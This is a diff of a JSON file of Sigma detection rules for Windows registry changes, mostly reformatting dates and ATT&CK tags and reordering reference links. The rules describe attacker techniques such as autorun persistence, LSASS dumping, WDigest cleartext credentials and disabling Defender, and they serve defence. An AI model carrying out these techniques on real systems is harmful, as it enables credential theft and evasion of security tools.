diff --git a/clusters/sigma-rules.json b/clusters/sigma-rules.json index 8f98143d..987e20b1 100644 --- a/clusters/sigma-rules.json +++ b/clusters/sigma-rules.json @@ -13,7 +13,7 @@ "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" @@ -23,10 +23,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion.yml" ], "tags": [ @@ -50,7 +50,7 @@ "description": "Detect modification of TreatAs key to enable \"rundll32.exe -sta\" command", "meta": { "author": "frack113", - "creation_date": "2022/08/28", + "creation_date": "2022-08-28", "falsepositive": [ "Legitimate use" ], @@ -59,8 +59,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.youtube.com/watch?v=3gz1QmiMhss&t=1251s", "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md", + "https://www.youtube.com/watch?v=3gz1QmiMhss&t=1251s", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml" ], "tags": [ @@ -84,7 +84,7 @@ "description": "Detects the addition of the \"Debugger\" value to the \"DbgManagedDebugger\" key in order to achieve persistence. Which will get invoked when an application crashes", "meta": { "author": "frack113", - "creation_date": "2022/08/07", + "creation_date": "2022-08-07", "falsepositive": [ "Legitimate use of the key to setup a debugger. Which is often the case on developers machines" ], @@ -93,8 +93,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/last-byte/PersistenceSniper", "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/", + "https://github.com/last-byte/PersistenceSniper", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dbgmanageddebugger_persistence.yml" ], "tags": [ @@ -118,7 +118,7 @@ "description": "Detects tampering with attachment manager settings policies attachments (See reference for more information)", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/01", + "creation_date": "2022-08-01", "falsepositive": [ "Unlikely" ], @@ -127,12 +127,12 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", "https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738", + "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_attachments_tamper.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "ee77a5db-b0f3-4be2-bfd4-b58be1c6b15a", @@ -142,23 +142,23 @@ "description": "Detects .NET Framework CLR and .NET Core CLR \"cor_enable_profiling\" and \"cor_profiler\" variables being set and configured.", "meta": { "author": "Jose Rodriguez (@Cyb3rPandaH), OTR (Open Threat Research), Jimmy Bayne (@bohops)", - "creation_date": "2020/09/10", + "creation_date": "2020-09-10", "falsepositive": "No established falsepositives", "filename": "registry_set_enabling_cor_profiler_env_variables.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.slideshare.net/JamieWilliams130/started-from-the-bottom-exploiting-data-sources-to-uncover-attck-behaviors", - "https://www.sans.org/cyber-security-summit/archives", "https://twitter.com/jamieantisocial/status/1304520651248668673", + "https://www.sans.org/cyber-security-summit/archives", + "https://www.slideshare.net/JamieWilliams130/started-from-the-bottom-exploiting-data-sources-to-uncover-attck-behaviors", "https://learn.microsoft.com/en-us/dotnet/core/runtime-config/debugging-profiling", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_cor_profiler_env_variables.yml" ], "tags": [ "attack.persistence", - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1574.012" ] }, @@ -178,7 +178,7 @@ "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" @@ -188,8 +188,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_system_scripts.yml" ], @@ -214,7 +214,7 @@ "description": "Detects changes to the registry values related to outlook security settings", "meta": { "author": "frack113", - "creation_date": "2021/12/28", + "creation_date": "2021-12-28", "falsepositive": [ "Administrative activity" ], @@ -248,7 +248,7 @@ "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" @@ -258,10 +258,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node.yml" ], "tags": [ @@ -285,7 +285,7 @@ "description": "This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry.", "meta": { "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "Unknown" ], @@ -294,13 +294,13 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://twitter.com/Hexacorn/status/991447379864932352", "http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/", "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OSBinaries/Wab.yml", + "https://twitter.com/Hexacorn/status/991447379864932352", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wab_dllpath_reg_change.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -320,7 +320,7 @@ "description": "Detects applications being added to the \"allowed applications\" list of exploit guard in order to bypass controlled folder settings", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/05", + "creation_date": "2022-08-05", "falsepositive": [ "Unlikely" ], @@ -333,7 +333,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_exploit_guard_susp_allowed_apps.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -353,7 +353,7 @@ "description": "Detects potential persistence activity via the registering of a new custom protocole handlers. While legitimate applications register protocole handlers often times during installation. And attacker can abuse this by setting a custom handler to be used as a persistence mechanism.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/05/30", + "creation_date": "2022-05-30", "falsepositive": [ "Many legitimate applications can register a new custom protocol handler. Additional filters needs to applied according to your environment." ], @@ -366,7 +366,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_custom_protocol_handler.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -386,7 +386,7 @@ "description": "Detects when an attacker adds a new \"Debugger\" value to the \"AeDebug\" key in order to achieve persistence which will get invoked when an application crashes", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/21", + "creation_date": "2022-07-21", "falsepositive": [ "Legitimate use of the key to setup a debugger. Which is often the case on developers machines" ], @@ -395,8 +395,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/win32/debug/configuring-automatic-debugging", "https://persistence-info.github.io/Data/aedebug.html", + "https://learn.microsoft.com/en-us/windows/win32/debug/configuring-automatic-debugging", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_aedebug_persistence.yml" ], "tags": [ @@ -410,7 +410,7 @@ "description": "Detects registry value settings that would replace the user's desktop background.\nThis is a common technique used by malware to change the desktop background to a ransom note or other image.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Stephen Lincoln @slincoln-aiq (AttackIQ)", - "creation_date": "2023/12/21", + "creation_date": "2023-12-21", "falsepositive": [ "Administrative scripts that change the desktop background to a company logo or other image." ], @@ -419,16 +419,16 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/a864282fea5a536510ae86c77ce46f7827687783628e4f2ceb5bf2c41b8cd3c6/behavior", "https://www.trendmicro.com/en_us/research/23/h/an-overview-of-the-new-rhysida-ransomware.html", "https://research.checkpoint.com/2023/the-rhysida-ransomware-activity-analysis-and-ties-to-vice-society/", + "https://www.attackiq.com/2023/09/20/emulating-rhysida/", + "https://www.virustotal.com/gui/file/a864282fea5a536510ae86c77ce46f7827687783628e4f2ceb5bf2c41b8cd3c6/behavior", "https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.ControlPanelDisplay::CPL_Personalization_NoDesktopBackgroundUI", "https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsDesktop::Wallpaper", - "https://www.attackiq.com/2023/09/20/emulating-rhysida/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_desktop_background_change.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.impact", "attack.t1112", "attack.t1491.001" @@ -457,7 +457,7 @@ "description": "Detect changes to the \"PendingFileRenameOperations\" registry key from uncommon or suspicious images locations to stage currently used files for rename or deletion after reboot.\n", "meta": { "author": "frack113", - "creation_date": "2023/01/27", + "creation_date": "2023-01-27", "falsepositive": [ "Installers and updaters may set currently in use files for rename or deletion after a reboot." ], @@ -467,14 +467,14 @@ "logsource.product": "windows", "refs": [ "https://www.trendmicro.com/en_us/research/19/i/purple-fox-fileless-malware-with-rookit-component-delivered-by-rig-exploit-kit-now-abuses-powershell.html", + "https://any.run/report/3ecd4763ffc944fdc67a9027e459cd4f448b1a8d1b36147977afaf86bbf2a261/64b0ba45-e7ce-423b-9a1d-5b4ea59521e6", "https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html", "https://devblogs.microsoft.com/scripting/determine-pending-reboot-statuspowershell-style-part-1/", - "https://any.run/report/3ecd4763ffc944fdc67a9027e459cd4f448b1a8d1b36147977afaf86bbf2a261/64b0ba45-e7ce-423b-9a1d-5b4ea59521e6", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc960241(v=technet.10)?redirectedfrom=MSDN", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_pendingfilerenameoperations.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.003" ] }, @@ -494,7 +494,7 @@ "description": "Detects registry persistence technique using the GlobalFlags and SilentProcessExit keys", "meta": { "author": "Karneades, Jonhnathan Ribeiro, Florian Roth", - "creation_date": "2018/04/11", + "creation_date": "2018-04-11", "falsepositive": [ "Unknown" ], @@ -503,14 +503,14 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/", "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", + "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_globalflags.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.persistence", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1546.012", "car.2013-01-002" ] @@ -531,7 +531,7 @@ "description": "Detects tampering with attachment manager settings policies associations to lower the default file type risks (See reference for more information)", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/01", + "creation_date": "2022-08-01", "falsepositive": [ "Unlikely" ], @@ -540,12 +540,12 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", "https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738", + "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_associations_tamper.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "a9b6c011-ab69-4ddb-bc0a-c4f21c80ec47", @@ -555,7 +555,7 @@ "description": "Detects modifications to the registry key \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Userlist\" where the value is set to \"0\" in order to hide user account from being listed on the logon screen.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), frack113", - "creation_date": "2022/07/12", + "creation_date": "2022-07-12", "falsepositive": [ "Unknown" ], @@ -564,12 +564,12 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md", "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_special_accounts.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.002" ] }, @@ -589,7 +589,7 @@ "description": "Detects a possible persistence mechanism using RUN key for Windows Explorer and pointing to a suspicious folder", "meta": { "author": "Florian Roth (Nextron Systems), oscd.community", - "creation_date": "2018/07/18", + "creation_date": "2018-07-18", "falsepositive": [ "Unknown" ], @@ -622,7 +622,7 @@ "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement.\n", "meta": { "author": "Wojciech Lesicki", - "creation_date": "2021/06/29", + "creation_date": "2021-06-29", "falsepositive": [ "Unlikely" ], @@ -636,8 +636,8 @@ ], "tags": [ "attack.execution", - "attack.privilege_escalation", - "attack.lateral_movement", + "attack.privilege-escalation", + "attack.lateral-movement", "attack.t1021.002", "attack.t1543.003", "attack.t1569.002" @@ -673,7 +673,7 @@ "description": "Detects changes to the \"DisableRestrictedAdmin\" registry value in order to disable or enable RestrictedAdmin mode.\nRestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop.\nThis prevents your credentials from being harvested during the initial connection process if the remote server has been compromise\n", "meta": { "author": "frack113", - "creation_date": "2023/01/13", + "creation_date": "2023-01-13", "falsepositive": [ "Unknown" ], @@ -687,7 +687,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lsa_disablerestrictedadmin.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -707,7 +707,7 @@ "description": "Detects the setting of the \"DumpType\" registry value to \"2\" which stands for a \"Full Dump\". Technique such as LSASS Shtinkering requires this value to be \"2\" in order to dump LSASS.", "meta": { "author": "@pbssubhash", - "creation_date": "2022/12/08", + "creation_date": "2022-12-08", "falsepositive": [ "Legitimate application that needs to do a full dump of their process" ], @@ -716,13 +716,13 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf", - "https://github.com/deepinstinct/Lsass-Shtinkering", "https://learn.microsoft.com/en-us/windows/win32/wer/collecting-user-mode-dumps", + "https://github.com/deepinstinct/Lsass-Shtinkering", + "https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lsass_usermode_dumping.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -742,7 +742,7 @@ "description": "Detects changes to the \"DisableHypervisorEnforcedPagingTranslation\" registry value. Where the it is set to \"1\" in order to disable the Hypervisor Enforced Paging Translation feature.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/07/05", + "creation_date": "2024-07-05", "falsepositive": [ "Unknown" ], @@ -756,7 +756,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_deviceguard_hypervisorenforcedpagingtranslation_disabled.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -776,7 +776,7 @@ "description": "Detects potential malicious modification of the property value of UseLogonCredential from HKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to enable clear-text credentials", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2019/09/12", + "creation_date": "2019-09-12", "falsepositive": [ "Unknown" ], @@ -785,13 +785,13 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://support.microsoft.com/en-us/topic/microsoft-security-advisory-update-to-improve-credentials-protection-and-management-may-13-2014-93434251-04ac-b7f3-52aa-9f951c14b649", "https://threathunterplaybook.com/hunts/windows/190510-RegModWDigestDowngrade/notebook.html", + "https://support.microsoft.com/en-us/topic/microsoft-security-advisory-update-to-improve-credentials-protection-and-management-may-13-2014-93434251-04ac-b7f3-52aa-9f951c14b649", "https://github.com/redcanaryco/atomic-red-team/blob/73fcfa1d4863f6a4e17f90e54401de6e30a312bb/atomics/T1112/T1112.md#atomic-test-3---modify-registry-to-store-logon-credentials", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wdigest_enable_uselogoncredential.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -811,7 +811,7 @@ "description": "Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required)", "meta": { "author": "Dimitrios Slamaris", - "creation_date": "2017/05/15", + "creation_date": "2017-05-15", "falsepositive": [ "Unknown" ], @@ -820,13 +820,13 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", - "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dhcp_calloutdll.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002", "attack.t1112" ] @@ -851,10 +851,10 @@ "value": "DHCP Callout DLL Installation" }, { - "description": "Detects potential persistence activity via outlook today pages. An attacker can set a custom page to execute arbitrary code and link to it via the registry key \"UserDefinedUrl\".", + "description": "Detects potential persistence activity via outlook today page.\nAn attacker can set a custom page to execute arbitrary code and link to it via the registry values \"URL\" and \"UserDefinedUrl\".\n", "meta": { - "author": "Tobias Michalski (Nextron Systems)", - "creation_date": "2021/06/10", + "author": "Tobias Michalski (Nextron Systems), David Bertho (@dbertho) & Eirik Sveen (@0xSV1), Storebrand", + "creation_date": "2021-06-10", "falsepositive": [ "Unknown" ], @@ -864,6 +864,7 @@ "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=74", + "https://trustedsec.com/blog/specula-turning-outlook-into-a-c2-with-one-registry-change", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_outlook_todaypage.yml" ], "tags": [ @@ -881,13 +882,13 @@ } ], "uuid": "487bb375-12ef-41f6-baae-c6a1572b4dd1", - "value": "Potential Persistence Via Outlook Today Pages" + "value": "Potential Persistence Via Outlook Today Page" }, { "description": "A General detection for a new application in AppCompat. This indicates an application executing for the first time on an endpoint.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", + "creation_date": "2020-05-02", "falsepositive": [ "This rule is to explore new applications on an endpoint. False positives depends on the organization.", "Newly setup system.", @@ -923,7 +924,7 @@ "description": "Detects setting of a new registry database value related to BgInfo configuration. Attackers can for example set this value to save the results of the commands executed by BgInfo in order to exfiltrate information.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/16", + "creation_date": "2023-08-16", "falsepositive": [ "Legitimate use of external DB to save the results" ], @@ -936,7 +937,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bginfo_custom_db.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -956,7 +957,7 @@ "description": "Detects the disabling of the Windows Defender eventlog as seen in relation to Lockbit 3.0 infections", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/07/04", + "creation_date": "2022-07-04", "falsepositive": [ "Other Antivirus software installations could cause Windows to disable that eventlog (unknown)" ], @@ -969,7 +970,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_microsoft_defender_eventlog.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -989,7 +990,7 @@ "description": "Detects disabling Windows Defender Tamper Protection", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/04", + "creation_date": "2021-08-04", "falsepositive": [ "Unknown" ], @@ -1002,7 +1003,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_tamper_protection_on_microsoft_defender.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -1022,7 +1023,7 @@ "description": "Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/23", + "creation_date": "2022-08-23", "falsepositive": [ "Other legitimate network providers used and not filtred in this rule" ], @@ -1031,12 +1032,12 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/troubleshoot/windows-client/setup-upgrade-and-drivers/network-provider-settings-removed-in-place-upgrade", "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy", + "https://learn.microsoft.com/en-us/troubleshoot/windows-client/setup-upgrade-and-drivers/network-provider-settings-removed-in-place-upgrade", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_network_provider.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003" ] }, @@ -1056,7 +1057,7 @@ "description": "Detects the setting of the REGISTERAPPRESTART compatibility layer on an application.\nThis compatibility layer allows an application to register for restart using the \"RegisterApplicationRestart\" API.\nThis can be potentially abused as a persistence mechanism.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/01/01", + "creation_date": "2024-01-01", "falsepositive": [ "Legitimate applications making use of this feature for compatibility reasons" ], @@ -1089,7 +1090,7 @@ "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" @@ -1099,8 +1100,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_internet_explorer.yml" ], @@ -1125,7 +1126,7 @@ "description": "Detect change of the user account associated with the FAX service to avoid the escalation problem.", "meta": { "author": "frack113", - "creation_date": "2022/07/17", + "creation_date": "2022-07-17", "falsepositive": [ "Unknown" ], @@ -1134,12 +1135,12 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", "https://twitter.com/dottor_morte/status/1544652325570191361", + "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_change_service_user.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -1159,7 +1160,7 @@ "description": "Detects disabling Windows Defender PUA protection", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/04", + "creation_date": "2021-08-04", "falsepositive": [ "Unknown" ], @@ -1172,7 +1173,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_pua_protection_on_microsoft_defender.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -1192,7 +1193,7 @@ "description": "Detects changes to the PSFactory COM InProcServer32 registry. This technique was used by RomCom to create persistence storing a malicious DLL.", "meta": { "author": "BlackBerry Threat Research and Intelligence Team - @Joseliyo_Jstnk", - "creation_date": "2023/06/07", + "creation_date": "2023-06-07", "falsepositive": [ "Unknown" ], @@ -1202,9 +1203,9 @@ "logsource.product": "windows", "refs": [ "https://blogs.blackberry.com/en/2023/06/romcom-resurfaces-targeting-ukraine", - "https://www.virustotal.com/gui/file/6d3ab9e729bb03ae8ae3fcd824474c5052a165de6cb4c27334969a542c7b261d/detection", - "https://strontic.github.io/xcyclopedia/library/clsid_C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6.html", "https://www.trendmicro.com/en_us/research/23/e/void-rabisu-s-use-of-romcom-backdoor-shows-a-growing-shift-in-th.html", + "https://strontic.github.io/xcyclopedia/library/clsid_C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6.html", + "https://www.virustotal.com/gui/file/6d3ab9e729bb03ae8ae3fcd824474c5052a165de6cb4c27334969a542c7b261d/detection", 